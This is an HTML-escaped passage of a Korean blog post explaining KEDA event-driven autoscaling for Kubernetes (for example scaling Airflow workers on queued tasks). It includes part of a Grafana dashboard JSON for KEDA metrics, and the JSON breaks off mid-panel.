&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 &lt;b&gt;HPA&lt;/b&gt;(Horizontal Pod Autoscaler)는 리소스(CPU, Memory) 메트릭을 기반으로 스케일 여부를 결정하게 됩니다. 반면에 &lt;b&gt;KEDA&lt;/b&gt;는&amp;nbsp;&lt;b&gt;특정 이벤트를 기반으로 스케일 여부를 결정&lt;/b&gt;할 수 있습니다.&amp;nbsp;예를 들어 airflow는 metadb를 통해 현재 실행 중이거나 대기 중인 task가 얼마나 존재하는지 알 수 있습니다.&amp;nbsp;이러한 이벤트를 활용하여 worker의 scale을 결정한다면 queue에 task가 많이 추가되는 시점에 더 빠르게 확장할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1296&quot; data-origin-height=&quot;1003&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boxBUi/btsGfxDOw9s/ZxZ7vAfBwVLdqlkijrNiR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boxBUi/btsGfxDOw9s/ZxZ7vAfBwVLdqlkijrNiR1/img.png&quot; data-alt=&quot;출처 :https://keda.sh/docs/2.10/concepts/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boxBUi/btsGfxDOw9s/ZxZ7vAfBwVLdqlkijrNiR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboxBUi%2FbtsGfxDOw9s%2FZxZ7vAfBwVLdqlkijrNiR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1296&quot; height=&quot;1003&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1296&quot; data-origin-height=&quot;1003&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://keda.sh/docs/2.10/concepts/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;KEDA 메트릭을 모니터링할 수 있는 그라파나 대시보드의 json을 미리 Import해 놓습니다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;annotations&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;list&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;builtIn&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;grafana&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;--&amp;nbsp;Grafana&amp;nbsp;--&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;enable&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;iconColor&quot;:&amp;nbsp;&quot;rgba(0,&amp;nbsp;211,&amp;nbsp;255,&amp;nbsp;1)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;Annotations&amp;nbsp;&amp;amp;&amp;nbsp;Alerts&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;target&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;limit&quot;:&amp;nbsp;100,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;matchAny&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tags&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;dashboard&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;dashboard&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;description&quot;:&amp;nbsp;&quot;Visualize&amp;nbsp;metrics&amp;nbsp;provided&amp;nbsp;by&amp;nbsp;KEDA&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;editable&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;fiscalYearStartMonth&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;graphTooltip&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;1653,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;links&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;liveNow&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;panels&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;collapsed&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;24,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;panels&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Metric&amp;nbsp;Server&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;row&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;description&quot;:&amp;nbsp;&quot;The&amp;nbsp;total&amp;nbsp;number&amp;nbsp;of&amp;nbsp;errors&amp;nbsp;encountered&amp;nbsp;for&amp;nbsp;all&amp;nbsp;scalers.&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fieldConfig&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;defaults&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;palette-classic&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;custom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisCenteredZero&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisColorMode&quot;:&amp;nbsp;&quot;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisLabel&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisPlacement&quot;:&amp;nbsp;&quot;auto&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;barAlignment&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;drawStyle&quot;:&amp;nbsp;&quot;line&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillOpacity&quot;:&amp;nbsp;25,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gradientMode&quot;:&amp;nbsp;&quot;opacity&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hideFrom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;viz&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineInterpolation&quot;:&amp;nbsp;&quot;linear&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineWidth&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pointSize&quot;:&amp;nbsp;5,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;scaleDistribution&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;linear&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showPoints&quot;:&amp;nbsp;&quot;never&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;spanNulls&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;stacking&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;group&quot;:&amp;nbsp;&quot;A&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdsStyle&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;off&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappings&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;absolute&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;steps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;green&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;80&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;unit&quot;:&amp;nbsp;&quot;Errors/sec&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;overrides&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;matcher&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;byName&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;&quot;http-demo&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;properties&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;color&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fixedColor&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;fixed&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br 